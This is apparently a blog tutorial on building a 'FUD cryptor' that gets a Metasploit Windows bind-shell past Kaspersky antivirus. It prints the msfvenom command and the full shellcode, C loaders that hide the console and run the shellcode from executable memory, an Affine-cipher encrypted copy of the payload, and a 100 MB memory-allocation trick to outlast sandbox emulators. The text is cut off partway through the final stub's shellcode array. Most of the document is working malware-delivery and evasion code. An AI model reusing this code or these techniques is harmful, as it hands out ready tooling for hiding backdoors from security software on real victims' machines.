This post presents a way to evade Antivirus products using a FUD Cryptor. The main purpose of FUD Cryptors is to obfuscate the contents of a malicious executable in order to make the executable undetectable to antivirus software without interfering with the intended execution flow of the executable.

These days most Antivirus engines rely mostly on dynamic analysis rather on static analysis only. Both static and dynamic analysis providing very satisfying detection results making the development of malicious software hard. Moreover, regarding the use of dynamic analysis, a malicious executable is scanned and launched in a virtual environment for a short amount of time. Furthermore, combining the results from dynamic analysis along with signature verification and heuristic analysis, allows the detection of unknown malware as well as those relying on encryption. Specifically, the malicious code is executed and self-decrypted in AV sandbox, and from the final analysis of the code, any possible suspicious behaviour will be flagged as malicious from the AV engine. Therefore, the results could provide a high probability rate in malware detection.

For this exercise we will be using a bind shell generated from metasploit framework. The bind shell will be encrypted using a FUD Cryptor. Furthermore, the encryption algorithm used in this example is the Affine cipher. At this point it is worth mentioning that there is no need to use a complicated algorithm such as AES to encrypt the payload, because satisfying results can also be achieved using lightweight encryption. Later on, the FUD payload will be parsed from a STUB program in order to decrypt it and execute it on runtime.

After the short introduction above, it is time for me to start the practical demonstration and proof of concept regarding the use of a fully undetectable cryptor, to evade the AV engine in Kaspersky Endpoint Security software. For this demonstration i needed a shellcode which could normally be considered to be a malware, so as previously mentioned, i've used a bind shell that listens on port 99 and was generated from msfvenom tool as follows

root@kali:~$ msfvenom -p windows/shell_bind_tcp LPORT=99 -f C -v code -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of c file: 1517 bytes
unsigned char code[] =
"\xba\x8f\xa2\x98\x34\xd9\xca\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x53\x31\x50\x12\x83\xe8\xfc\x03\xdf\xac\x7a\xc1\x23\x58\xf8"
"\x2a\xdb\x99\x9d\xa3\x3e\xa8\x9d\xd0\x4b\x9b\x2d\x92\x19\x10"
"\xc5\xf6\x89\xa3\xab\xde\xbe\x04\x01\x39\xf1\x95\x3a\x79\x90"
"\x15\x41\xae\x72\x27\x8a\xa3\x73\x60\xf7\x4e\x21\x39\x73\xfc"
"\xd5\x4e\xc9\x3d\x5e\x1c\xdf\x45\x83\xd5\xde\x64\x12\x6d\xb9"
"\xa6\x95\xa2\xb1\xee\x8d\xa7\xfc\xb9\x26\x13\x8a\x3b\xee\x6d"
"\x73\x97\xcf\x41\x86\xe9\x08\x65\x79\x9c\x60\x95\x04\xa7\xb7"
"\xe7\xd2\x22\x23\x4f\x90\x95\x8f\x71\x75\x43\x44\x7d\x32\x07"
"\x02\x62\xc5\xc4\x39\x9e\x4e\xeb\xed\x16\x14\xc8\x29\x72\xce"
"\x71\x68\xde\xa1\x8e\x6a\x81\x1e\x2b\xe1\x2c\x4a\x46\xa8\x38"
"\xbf\x6b\x52\xb9\xd7\xfc\x21\x8b\x78\x57\xad\xa7\xf1\x71\x2a"
"\xc7\x2b\xc5\xa4\x36\xd4\x36\xed\xfc\x80\x66\x85\xd5\xa8\xec"
"\x55\xd9\x7c\x98\x5d\x7c\x2f\xbf\xa0\x3e\x9f\x7f\x0a\xd7\xf5"
"\x8f\x75\xc7\xf5\x45\x1e\x60\x08\x66\x20\x12\x85\x80\x4a\xc4"
"\xc3\x1b\xe2\x26\x30\x94\x95\x59\x12\x8c\x31\x11\x74\x0b\x3e"
"\xa2\x52\x3b\xa8\x29\xb1\xff\xc9\x2d\x9c\x57\x9e\xba\x6a\x36"
"\xed\x5b\x6a\x13\x85\xf8\xf9\xf8\x55\x76\xe2\x56\x02\xdf\xd4"
"\xae\xc6\xcd\x4f\x19\xf4\x0f\x09\x62\xbc\xcb\xea\x6d\x3d\x99"
"\x57\x4a\x2d\x67\x57\xd6\x19\x37\x0e\x80\xf7\xf1\xf8\x62\xa1"
"\xab\x57\x2d\x25\x2d\x94\xee\x33\x32\xf1\x98\xdb\x83\xac\xdc"
"\xe4\x2c\x39\xe9\x9d\x50\xd9\x16\x74\xd1\xe9\x5c\xd4\x70\x62"
"\x39\x8d\xc0\xef\xba\x78\x06\x16\x39\x88\xf7\xed\x21\xf9\xf2"
"\xaa\xe5\x12\x8f\xa3\x83\x14\x3c\xc3\x81";

As we see from the output above, the only action performed on the shellcode in order to obfuscate the original code as well as to eliminate the null byte, was to encode it using the common encoder hikata ga nai. Furthermore, one thing we should do next, is to scan the executable file using Antivirus software in order to show how the malicious shellcode generated from metasploit can be easily detected. If we compile and build the following code snippet, we will have our malicious executable ready to be scanned.

#include <windows.h>
#include <iostream>
#include <stdlib.h>

char code[] =
"\xba\x8f\xa2\x98\x34\xd9\xca\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x53\x31\x50\x12\x83\xe8\xfc\x03\xdf\xac\x7a\xc1\x23\x58\xf8"
"\x2a\xdb\x99\x9d\xa3\x3e\xa8\x9d\xd0\x4b\x9b\x2d\x92\x19\x10"
"\xc5\xf6\x89\xa3\xab\xde\xbe\x04\x01\x39\xf1\x95\x3a\x79\x90"
"\x15\x41\xae\x72\x27\x8a\xa3\x73\x60\xf7\x4e\x21\x39\x73\xfc"
"\xd5\x4e\xc9\x3d\x5e\x1c\xdf\x45\x83\xd5\xde\x64\x12\x6d\xb9"
"\xa6\x95\xa2\xb1\xee\x8d\xa7\xfc\xb9\x26\x13\x8a\x3b\xee\x6d"
"\x73\x97\xcf\x41\x86\xe9\x08\x65\x79\x9c\x60\x95\x04\xa7\xb7"
"\xe7\xd2\x22\x23\x4f\x90\x95\x8f\x71\x75\x43\x44\x7d\x32\x07"
"\x02\x62\xc5\xc4\x39\x9e\x4e\xeb\xed\x16\x14\xc8\x29\x72\xce"
"\x71\x68\xde\xa1\x8e\x6a\x81\x1e\x2b\xe1\x2c\x4a\x46\xa8\x38"
"\xbf\x6b\x52\xb9\xd7\xfc\x21\x8b\x78\x57\xad\xa7\xf1\x71\x2a"
"\xc7\x2b\xc5\xa4\x36\xd4\x36\xed\xfc\x80\x66\x85\xd5\xa8\xec"
"\x55\xd9\x7c\x98\x5d\x7c\x2f\xbf\xa0\x3e\x9f\x7f\x0a\xd7\xf5"
"\x8f\x75\xc7\xf5\x45\x1e\x60\x08\x66\x20\x12\x85\x80\x4a\xc4"
"\xc3\x1b\xe2\x26\x30\x94\x95\x59\x12\x8c\x31\x11\x74\x0b\x3e"
"\xa2\x52\x3b\xa8\x29\xb1\xff\xc9\x2d\x9c\x57\x9e\xba\x6a\x36"
"\xed\x5b\x6a\x13\x85\xf8\xf9\xf8\x55\x76\xe2\x56\x02\xdf\xd4"
"\xae\xc6\xcd\x4f\x19\xf4\x0f\x09\x62\xbc\xcb\xea\x6d\x3d\x99"
"\x57\x4a\x2d\x67\x57\xd6\x19\x37\x0e\x80\xf7\xf1\xf8\x62\xa1"
"\xab\x57\x2d\x25\x2d\x94\xee\x33\x32\xf1\x98\xdb\x83\xac\xdc"
"\xe4\x2c\x39\xe9\x9d\x50\xd9\x16\x74\xd1\xe9\x5c\xd4\x70\x62"
"\x39\x8d\xc0\xef\xba\x78\x06\x16\x39\x88\xf7\xed\x21\xf9\xf2"
"\xaa\xe5\x12\x8f\xa3\x83\x14\x3c\xc3\x81";

int main(int argc, char** argv)
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    void* exec = VirtualAlloc(0, strlen(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, code, sizeof(code));
    ((void(*)())exec)();

    return 0;
}

Later on, and after the compilation finishes, we can see at the image below, that the executable file "simple.exe" has been immediately identified as malicious from Kaspersky Endpoint Security software.

So, at this point we need to perform some encryption to the shellcode in order to avoid detection. But, should encryption be enough to avoid detection ? Well, we'll see.. As said before, the shellcode will be encrypted using the Affine cipher. At this article we will not proceed further into more details about the analysis of the Affine Cipher, but if someone needs further examples and also need to learn more about the algorithm, it is strongly recommended to read this assignment, which i have completed during the SLAE course. It is worth to mention that it is very important to understand the Affine Cipher algorithm and how it can be used before continue reading this article. This cipher takes two keys ,  ‘a’  and  ‘b’  where 'a' will have the value 5 and 'b' will have the value 8. The encryption formula used to encrypt the shellcode is the following

y = (x * ((1 << 2) + 1) + 8) & ((32 << 2) - 1)

In the contrary, the decryption formula used to decrypt the shellcode is the following

x = (y1 - 8) * ((18 << 2) + 5) & ((32 << 2) - 1);

Now, at this point we will use the Affine cipher to encrypt the shellcode. I have developed a tool that uses the Afine cipher to encrypt a given shellcode which can be found on my github. The usage of this tool can be seen below

root@kali:/home/kali# ./affine

[x] Error: Provide an option and a valid shellcode

[!] Usage: ./affine < option > < shellcode >

Options:
   -d : Decryption
   -e : Encryption

At this point we will use the tool to encrypt the bind shellcode generated from msfvenom.

root@kali:/home/kali# ./affine -e \xba\x8f\xa2\x98\x34\xd9\xca\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x53\x31\x50\x12\x83\xe8\xfc\x03\xdf\xac\x7a\xc1\x23\x58\xf8\x2a\xdb\x99\x9d\xa3\x3e\xa8\x9d\xd0\x4b\x9b\x2d\x92\x19\x10\xc5\xf6\x89\xa3\xab\xde\xbe\x04\x01\x39\xf1\x95\x3a\x79\x90\x15\x41\xae\x72\x27\x8a\xa3\x73\x60\xf7\x4e\x21\x39\x73\xfc\xd5\x4e\xc9\x3d\x5e\x1c\xdf\x45\x83\xd5\xde\x64\x12\x6d\xb9\xa6\x95\xa2\xb1\xee\x8d\xa7\xfc\xb9\x26\x13\x8a\x3b\xee\x6d\x73\x97\xcf\x41\x86\xe9\x08\x65\x79\x9c\x60\x95\x04\xa7\xb7\xe7\xd2\x22\x23\x4f\x90\x95\x8f\x71\x75\x43\x44\x7d\x32\x07\x02\x62\xc5\xc4\x39\x9e\x4e\xeb\xed\x16\x14\xc8\x29\x72\xce\x71\x68\xde\xa1\x8e\x6a\x81\x1e\x2b\xe1\x2c\x4a\x46\xa8\x38\xbf\x6b\x52\xb9\xd7\xfc\x21\x8b\x78\x57\xad\xa7\xf1\x71\x2a\xc7\x2b\xc5\xa4\x36\xd4\x36\xed\xfc\x80\x66\x85\xd5\xa8\xec\x55\xd9\x7c\x98\x5d\x7c\x2f\xbf\xa0\x3e\x9f\x7f\x0a\xd7\xf5\x8f\x75\xc7\xf5\x45\x1e\x60\x08\x66\x20\x12\x85\x80\x4a\xc4\xc3\x1b\xe2\x26\x30\x94\x95\x59\x12\x8c\x31\x11\x74\x0b\x3e\xa2\x52\x3b\xa8\x29\xb1\xff\xc9\x2d\x9c\x57\x9e\xba\x6a\x36\xed\x5b\x6a\x13\x85\xf8\xf9\xf8\x55\x76\xe2\x56\x02\xdf\xd4\xae\xc6\xcd\x4f\x19\xf4\x0f\x09\x62\xbc\xcb\xea\x6d\x3d\x99\x57\x4a\x2d\x67\x57\xd6\x19\x37\x0e\x80\xf7\xf1\xf8\x62\xa1\xab\x57\x2d\x25\x2d\x94\xee\x33\x32\xf1\x98\xdb\x83\xac\xdc\xe4\x2c\x39\xe9\x9d\x50\xd9\x16\x74\xd1\xe9\x5c\xd4\x70\x62\x39\x8d\xc0\xef\xba\x78\x06\x16\x39\x88\xf7\xed\x21\xf9\xf2\xaa\xe5\x12\x8f\xa3\x83\x14\x3c\xc3\x81

[!] Affine Encryption

[+] Shellcode:

\xba\x8f\xa2\x98\x34\xd9\xca\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x53\x31\x50\x12\x83\xe8\xfc\x03\xdf\xac\x7a\xc1\x23\x58\xf8\x2a\xdb\x99\x9d\xa3\x3e\xa8\x9d\xd0\x4b\x9b\x2d\x92\x19\x10\xc5\xf6\x89\xa3\xab\xde\xbe\x04\x01\x39\xf1\x95\x3a\x79\x90\x15\x41\xae\x72\x27\x8a\xa3\x73\x60\xf7\x4e\x21\x39\x73\xfc\xd5\x4e\xc9\x3d\x5e\x1c\xdf\x45\x83\xd5\xde\x64\x12\x6d\xb9\xa6\x95\xa2\xb1\xee\x8d\xa7\xfc\xb9\x26\x13\x8a\x3b\xee\x6d\x73\x97\xcf\x41\x86\xe9\x08\x65\x79\x9c\x60\x95\x04\xa7\xb7\xe7\xd2\x22\x23\x4f\x90\x95\x8f\x71\x75\x43\x44\x7d\x32\x07\x02\x62\xc5\xc4\x39\x9e\x4e\xeb\xed\x16\x14\xc8\x29\x72\xce\x71\x68\xde\xa1\x8e\x6a\x81\x1e\x2b\xe1\x2c\x4a\x46\xa8\x38\xbf\x6b\x52\xb9\xd7\xfc\x21\x8b\x78\x57\xad\xa7\xf1\x71\x2a\xc7\x2b\xc5\xa4\x36\xd4\x36\xed\xfc\x80\x66\x85\xd5\xa8\xec\x55\xd9\x7c\x98\x5d\x7c\x2f\xbf\xa0\x3e\x9f\x7f\x0a\xd7\xf5\x8f\x75\xc7\xf5\x45\x1e\x60\x08\x66\x20\x12\x85\x80\x4a\xc4\xc3\x1b\xe2\x26\x30\x94\x95\x59\x12\x8c\x31\x11\x74\x0b\x3e\xa2\x52\x3b\xa8\x29\xb1\xff\xc9\x2d\x9c\x57\x9e\xba\x6a\x36\xed\x5b\x6a\x13\x85\xf8\xf9\xf8\x55\x76\xe2\x56\x02\xdf\xd4\xae\xc6\xcd\x4f\x19\xf4\x0f\x09\x62\xbc\xcb\xea\x6d\x3d\x99\x57\x4a\x2d\x67\x57\xd6\x19\x37\x0e\x80\xf7\xf1\xf8\x62\xa1\xab\x57\x2d\x25\x2d\x94\xee\x33\x32\xf1\x98\xdb\x83\xac\xdc\xe4\x2c\x39\xe9\x9d\x50\xd9\x16\x74\xd1\xe9\x5c\xd4\x70\x62\x39\x8d\xc0\xef\xba\x78\x06\x16\x39\x88\xf7\xed\x21\xf9\xf2\xaa\xe5\x12\x8f\xa3\x83\x14\x3c\xc3\x81

[-] Encrypted Shellcode:

\x72\x6d\x20\x06\x6d\x02\x25\x20\x07\x0c\x7c\x25\x77\x6d\x7c\x25\x1b\x0c\x02\x0c\x06\x0c\x11\x20\x02\x25\x77\x25\x72\x7d\x11\x07\x07\x7d\x11\x78\x7d\x02\x20\x07\x01\x20\x06\x77\x78\x07\x7c\x06\x6d\x77\x1b\x6d\x77\x7d\x02\x07\x11\x20\x06\x20\x02\x6d\x7c\x72\x25\x25\x25\x7c\x6d\x07\x07\x01\x6d\x20\x25\x7c\x7c\x78\x0c\x72\x25\x72\x02\x7c\x25\x02\x7d\x25\x7d\x78\x77\x11\x06\x16\x20\x25\x6d\x07\x6d\x72\x7c\x01\x72\x01\x78\x0c\x78\x7d\x07\x25\x06\x7d\x25\x11\x07\x6d\x1b\x25\x25\x78\x7d\x11\x0c\x7d\x6d\x01\x1b\x02\x02\x1b\x20\x6d\x6d\x07\x1b\x07\x16\x78\x06\x1b\x0c\x01\x02\x7d\x07\x25\x1b\x07\x06\x77\x7c\x11\x0c\x01\x77\x25\x07\x7c\x11\x01\x7d\x77\x7c\x06\x0c\x11\x20\x07\x7c\x11\x7c\x01\x16\x0c\x7d\x02\x16\x7c\x72\x25\x6d\x16\x25\x11\x6d\x02\x72\x7d\x01\x01\x20\x7c\x6d\x1b\x06\x77\x72\x25\x02\x16\x7d\x07\x20\x6d\x07\x72\x01\x01\x16\x7c\x1b\x07\x25\x1b\x77\x06\x0c\x7d\x20\x16\x01\x25\x78\x20\x16\x11\x1b\x25\x25\x77\x16\x78\x25\x11\x78\x0c\x6d\x1b\x72\x1b\x01\x1b\x7c\x02\x02\x02\x02\x07\x0c\x06\x25\x78\x25\x11\x20\x06\x1b\x7d\x1b\x11\x0c\x07\x0c\x0c\x1b\x7c\x07\x02\x78\x1b\x78\x02\x16\x02\x77\x11\x77\x0c\x07\x25\x25\x01\x0c\x01\x01\x72\x01\x7c\x7d\x16\x7d\x0c\x77\x20\x02\x25\x1b\x02\x77\x01\x1b\x7d\x16\x20\x7c\x01\x6d\x7d\x20\x01\x16\x6d\x20\x7d\x7d\x01\x02\x72\x01\x7d\x02\x77\x0c\x6d\x0c\x16\x6d\x20\x07\x20\x72\x06\x16\x72\x11\x02\x72\x25\x7c\x1b\x06\x77\x02\x7d\x20\x72\x1b\x20\x11\x1b\x6d\x7c\x6d\x1b\x06\x7d\x1b\x7d\x02\x6d\x77\x1b\x02\x72\x77\x11\x6d\x0c\x07\x16\x7c\x0c\x07\x16\x01\x7c\x06\x77\x20\x78\x16\x16\x20\x11\x7c\x11\x6d\x20\x01\x77\x11\x11\x7c\x25\x1b\x77\x25\x20\x11\x7c\x1b\x77\x02\x06\x72\x06\x6d\x78\x07\x01\x25\x06\x1b\x06\x78\x6d\x7c\x1b\x06\x11\x20\x06\x1b\x11\x77\x1b\x06\x11\x0c\x11\x7d\x01\x16\x78\x78\x20\x16\x16\x02\x78\x7d\x02\x20\x11\x20\x78\x0c\x6d\x77\x0c\x77\x07\x7d\x72\x01\x02\x02\x16\x07\x78\x25\x0c\x25\x11\x11\x25\x7d\x02\x20\x77\x07\x7d\x7d\x7d\x1b\x0c\x78\x72\x07\x01\x6d\x02\x11\x02\x07\x72\x6d\x20\x02\x25\x72\x7d\x06\x06\x77\x25\x02\x7c\x25\x77\x11\x1b\x25\x01\x72\x6d\x16\x6d\x07\x16\x01\x7c\x11\x72\x16\x6d\x7d\x07\x20\x11\x06\x20\x06\x25\x06\x20\x11\x11\x1b\x16\x01\x02\x11\x16\x78\x02\x7c\x06\x7c\x0c\x6d\x01\x77\x16\x77\x7c\x0c\x06\x7d\x25\x06\x0c\x78\x06\x78\x25\x16\x02\x72\x77\x77\x72\x01\x6d\x16\x7c\x07\x7c\x25\x25\x11\x1b\x0c\x6d\x02\x7c\x16\x1b\x11\x1b\x7c\x16\x7d\x25\x07\x1b\x78\x01\x20\x78\x06\x1b\x06\x7d\x06\x20\x16\x02\x6d\x7d\x6d\x72\x11\x1b\x02\x7c\x02\x11\x02\x7c\x25\x0c\x01\x01\x07\x07\x07\x02\x06\x7d\x25\x20\x7c\x72\x20\x07\x6d\x77\x7c\x77\x01\x0c\x02\x77\x07\x25\x01\x25\x25\x7c\x11\x78\x7c\x25\x7d\x16\x1b\x0c\x7c\x7d\x01\x25\x11\x77\x7c\x0c\x1b\x78\x16\x02\x07\x25\x20\x7c\x77\x78\x01\x06\x72\x6d\x1b\x20\x78\x16\x7d\x16\x07\x25\x20\x20\x06\x1b\x01\x7c\x02\x7d\x06\x25\x06\x02\x6d\x6d\x01\x11\x7d\x02\x20\x06\x6d\x07\x20\x07\x7d\x0c\x07\x77\x77\x07\x20\x7d

[+] Encrypted Shellcode Length = 710

As we see from the output above we have encrypted the shellcode generated from msfvenom and the length of the encrypted shellcode is 710 bytes. At this point we are ready to use the encrypted shellcode into our STUB program in order to test it against the Kaspersky Endpoint Security software.

#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>

char code[] = "\x72\x6d\x20\x06\x6d\x02\x25\x20\x07\x0c\x7c\x25\x77\x6d"
"\x7c\x25\x1b\x0c\x02\x0c\x06\x0c\x11\x20\x02\x25\x77\x25\x72\x7d\x11\x07"
"\x07\x7d\x11\x78\x7d\x02\x20\x07\x01\x20\x06\x77\x78\x07\x7c\x06\x6d\x77"
"\x1b\x6d\x77\x7d\x02\x07\x11\x20\x06\x20\x02\x6d\x7c\x72\x25\x25\x25\x7c"
"\x6d\x07\x07\x01\x6d\x20\x25\x7c\x7c\x78\x0c\x72\x25\x72\x02\x7c\x25\x02"
"\x7d\x25\x7d\x78\x77\x11\x06\x16\x20\x25\x6d\x07\x6d\x72\x7c\x01\x72\x01"
"\x78\x0c\x78\x7d\x07\x25\x06\x7d\x25\x11\x07\x6d\x1b\x25\x25\x78\x7d\x11"
"\x0c\x7d\x6d\x01\x1b\x02\x02\x1b\x20\x6d\x6d\x07\x1b\x07\x16\x78\x06\x1b"
"\x0c\x01\x02\x7d\x07\x25\x1b\x07\x06\x77\x7c\x11\x0c\x01\x77\x25\x07\x7c"
"\x11\x01\x7d\x77\x7c\x06\x0c\x11\x20\x07\x7c\x11\x7c\x01\x16\x0c\x7d\x02"
"\x16\x7c\x72\x25\x6d\x16\x25\x11\x6d\x02\x72\x7d\x01\x01\x20\x7c\x6d\x1b"
"\x06\x77\x72\x25\x02\x16\x7d\x07\x20\x6d\x07\x72\x01\x01\x16\x7c\x1b\x07"
"\x25\x1b\x77\x06\x0c\x7d\x20\x16\x01\x25\x78\x20\x16\x11\x1b\x25\x25\x77"
"\x16\x78\x25\x11\x78\x0c\x6d\x1b\x72\x1b\x01\x1b\x7c\x02\x02\x02\x02\x07"
"\x0c\x06\x25\x78\x25\x11\x20\x06\x1b\x7d\x1b\x11\x0c\x07\x0c\x0c\x1b\x7c"
"\x07\x02\x78\x1b\x78\x02\x16\x02\x77\x11\x77\x0c\x07\x25\x25\x01\x0c\x01"
"\x01\x72\x01\x7c\x7d\x16\x7d\x0c\x77\x20\x02\x25\x1b\x02\x77\x01\x1b\x7d"
"\x16\x20\x7c\x01\x6d\x7d\x20\x01\x16\x6d\x20\x7d\x7d\x01\x02\x72\x01\x7d"
"\x02\x77\x0c\x6d\x0c\x16\x6d\x20\x07\x20\x72\x06\x16\x72\x11\x02\x72\x25"
"\x7c\x1b\x06\x77\x02\x7d\x20\x72\x1b\x20\x11\x1b\x6d\x7c\x6d\x1b\x06\x7d"
"\x1b\x7d\x02\x6d\x77\x1b\x02\x72\x77\x11\x6d\x0c\x07\x16\x7c\x0c\x07\x16"
"\x01\x7c\x06\x77\x20\x78\x16\x16\x20\x11\x7c\x11\x6d\x20\x01\x77\x11\x11"
"\x7c\x25\x1b\x77\x25\x20\x11\x7c\x1b\x77\x02\x06\x72\x06\x6d\x78\x07\x01"
"\x25\x06\x1b\x06\x78\x6d\x7c\x1b\x06\x11\x20\x06\x1b\x11\x77\x1b\x06\x11"
"\x0c\x11\x7d\x01\x16\x78\x78\x20\x16\x16\x02\x78\x7d\x02\x20\x11\x20\x78"
"\x0c\x6d\x77\x0c\x77\x07\x7d\x72\x01\x02\x02\x16\x07\x78\x25\x0c\x25\x11"
"\x11\x25\x7d\x02\x20\x77\x07\x7d\x7d\x7d\x1b\x0c\x78\x72\x07\x01\x6d\x02"
"\x11\x02\x07\x72\x6d\x20\x02\x25\x72\x7d\x06\x06\x77\x25\x02\x7c\x25\x77"
"\x11\x1b\x25\x01\x72\x6d\x16\x6d\x07\x16\x01\x7c\x11\x72\x16\x6d\x7d\x07"
"\x20\x11\x06\x20\x06\x25\x06\x20\x11\x11\x1b\x16\x01\x02\x11\x16\x78\x02"
"\x7c\x06\x7c\x0c\x6d\x01\x77\x16\x77\x7c\x0c\x06\x7d\x25\x06\x0c\x78\x06"
"\x78\x25\x16\x02\x72\x77\x77\x72\x01\x6d\x16\x7c\x07\x7c\x25\x25\x11\x1b"
"\x0c\x6d\x02\x7c\x16\x1b\x11\x1b\x7c\x16\x7d\x25\x07\x1b\x78\x01\x20\x78"
"\x06\x1b\x06\x7d\x06\x20\x16\x02\x6d\x7d\x6d\x72\x11\x1b\x02\x7c\x02\x11"
"\x02\x7c\x25\x0c\x01\x01\x07\x07\x07\x02\x06\x7d\x25\x20\x7c\x72\x20\x07"
"\x6d\x77\x7c\x77\x01\x0c\x02\x77\x07\x25\x01\x25\x25\x7c\x11\x78\x7c\x25"
"\x7d\x16\x1b\x0c\x7c\x7d\x01\x25\x11\x77\x7c\x0c\x1b\x78\x16\x02\x07\x25"
"\x20\x7c\x77\x78\x01\x06\x72\x6d\x1b\x20\x78\x16\x7d\x16\x07\x25\x20\x20"
"\x06\x1b\x01\x7c\x02\x7d\x06\x25\x06\x02\x6d\x6d\x01\x11\x7d\x02\x20\x06"
"\x6d\x07\x20\x07\x7d\x0c\x07\x77\x77\x07\x20\x7d";

unsigned char* hexTochar(char* code) {
    char* end;
    unsigned long int j = strtol(code, &end, 16);
    char* str = (char*)calloc(strlen(code), sizeof(char));
    int i = 0;
    for (;; ) {
        sprintf(str + i * sizeof(char), "%c", (int)j);
        i++;
        j = strtol(end, &end, 16);
        if (j == 0)
            break;
    }
    return (unsigned char*)str;
}

char* operation(char* code, size_t len)
{
    unsigned int  k, y1 = 0, y2 = 0, x1 = 0, x2 = 0;
    char* b = (char*)calloc(strlen(code), (len + 1) * 4);
    char* b2 = (char*)calloc(strlen(code), (len + 1) * 4);

    for (k = 0; code[k] != '\0'; k += 2)
    {
        y1 = code[k];
        y2 = code[k + 1];
        x1 = (y1 - 8) * ((18 << 2) + 5) & ((32 << 2) - 1);
        x2 = (y2 - 8) * ((18 << 2) + 5) & ((32 << 2) - 1);
        b[k] = x1;
        b[k + 1] = x2;
        sprintf(b2 + strlen(b2), "%c%c ", b[k], b[k + 1]);
        b = (char*)realloc(b, (len + 1) * 4);
        b2 = (char*)realloc(b2, (len + 1) * 4);
    }

    free(b);
    return b2;
}

char *string_malloc(size_t size)
{
    char *str = (char*)malloc(size); 
    if (str == NULL)
    {
        fprintf(stderr, "out of memory"); 
        exit(EXIT_FAILURE); 
    }
    for (size_t i = 0; i < size; i++)
    {
        str[i] = '\0';
    }
    return str;
}


int main(int argc, char** argv)
{
    HWND hWnd = GetConsoleWindow();
    ShowWindow(hWnd, SW_HIDE);
    size_t len = strlen(code);
    char* hex = (char*)string_malloc(len * sizeof(code));
    memcpy(hex, code, len);
    char* hexfromchr = operation(hex, len);

    unsigned char* chr = hexTochar(hexfromchr);
    free(hexfromchr);

    void* exec = VirtualAlloc(0, strlen((char*)chr), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, chr, strlen((char*)chr)-1);
    ((void(*)())exec)();
    return 0;
}

After running the program and checking the results from Antivirus software, we see that it has identified our executable as malicious again.. But.. what happened here ? We have encrypted our shellcode, and this shouldn't happen, right ? Well, not exactly.. As said before, modern antivirus engines are not relying only to static code analysis techniques, they also executing the malware sample in a sandbox, in order to dynamically observe its behaviour. At this point we should try harder and figure out how to avoid detection providing additional evasion techniques.

Evading security protections sometimes is not an easy task, but with some research and smart moves, some protections can be bypassed. Furthermore, one fact that someone should be aware when it comes to AV evasion, is to think how these engines work most of the times. A common limitation regarding the AV scanner is the amount of time it can spend on each file. During a regular system scan, the AV will have to analyze thousands of files. It just cannot spend too much time or power on a peculiar one (it could also lead to a form of Denial Of Service attack on the AV). The simplest method to bypass AV just consists into buying enough time before the code is decrypted. Unfortunately a simple 'Sleep' won’t do the trick, cause AV emulator have adapted to that. Moreover, in order to achieve bypassing the AV engine, we need to impose the AV to go through some code which consume too much resources, thus we are sure the AV will abandon before the real code is started. As we see at the following code snippet, we just allocate and fill 100 Mega Bytes of memory. This is enough to discourage most of the AV emulators.

int main()
{
char* memdmp = NULL;
memdmp = (char*)malloc(100000000);
if (memdmp != NULL)
{
    memset(memdmp, 00, 100000000);
    free(memdmp);
    // Perform the decryption here
    // Then execute shellcode here 
}
return 0; 
}

At the above code, most AV scanners will just stop during the malloc, while the condition verification on allocated pointer is not even needed

Using the code snippet above into the full program below, as well as the encrypted shellcode with Affine cipher, our chances to evade AV will be more than enough.

#include <windows.h>
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>

char code[] = "\x72\x6d\x20\x06\x6d\x02\x25\x20\x07\x0c\x7c\x25\x77\x6d"
"\x7c\x25\x1b\x0c\x02\x0c\x06\x0c\x11\x20\x02\x25\x77\x25\x72\x7d\x11\x07"
"\x07\x7d\x11\x78\x7d\x02\x20\x07\x01\x20\x06\x77\x78\x07\x7c\x06\x6d\x77"
"\x1b\x6d\x77\x7d\x02\x07\x11\x20\x06\x20\x02\x6d\x7c\x72\x25\x25\x25\x7c"
"\x6d\x07\x07\x01\x6d\x20\x25\x7c\x7c\x78\x0c\x72\x25\x72\x02\x7c\x25\x02"
"\x7d\x25\x7d\x78\x77\x11\x06\x16\x20\x25\x6d\x07\x6d\x72\x7c\x01\x72\x01"
"\x78\x0c\x78\x7d\x07\x25\x06\x7d\x25\x11\x07\x6d\x1b\x25\x25\x78\x7d\x11"
"\x0c\x7d\x6d\x01\x1b\x02\x02\x1b\x20\x6d\x6d\x07\x1b\x07\x16\x78\x06\x1b"
"\x0c\x01\x02\x7d\x07\x25\x1b\x07\x06\x77\x7c\x11\x0c\x01\x77\x25\x07\x7c"
"\x11\x01\x7d\x77\x7c\x06\x0c\x11\x20\x07\x7c\x11\x7c\x01\x16\x0c\x7d\x02"
"\x16\x7c\x72\x25\x6d\x16\x25\x11\x6d\x02\x72\x7d\x01\x01\x20\x7c\x6d\x1b"
"\x06\x77\x72\x25\x02\x16\x7d\x07\x20\x6d\x07\x72\x01\x01\x16\x7c\x1b\x07"
"\x25\x1b\x77\x06\x0c\x7d\x20\x16\x01\x25\x78\x20\x16\x11\x1b\x25\x25\x77"
"\x16\x78\x25\x11\x78\x0c\x6d\x1b\x72\x1b\x01\x1b\x7c\x02\x02\x02\x02\x07"
"\x0c\x06\x25\x78\x25\x11\x20\x06\x1b\x7d\x1b\x11\x0c\x07\x0c\x0c\x1b\x7c"
"\x07\x02\x78\x1b\x78\x02\x16\x02\x77\x11\x77\x0c\x07\x25\x25\x01\x0c\x01"
"\x01\x72\x01\x7c\x7d\x16\x7d\x0c\x77\x20\x02\x25\x1b\x02\x77\x01\x1b\x7d"
"\x16\x20\x7c\x01\x6d\x7d\x20\x01\x16\x6d\x20\x7d\x7d\x01\x02\x72\x01\x7d"
"\x02\x77\x0c\x6d\x0c\x16\x6d\x20\x07\x20\x72\x06\x16\x72\x11\x02\x72\x25"
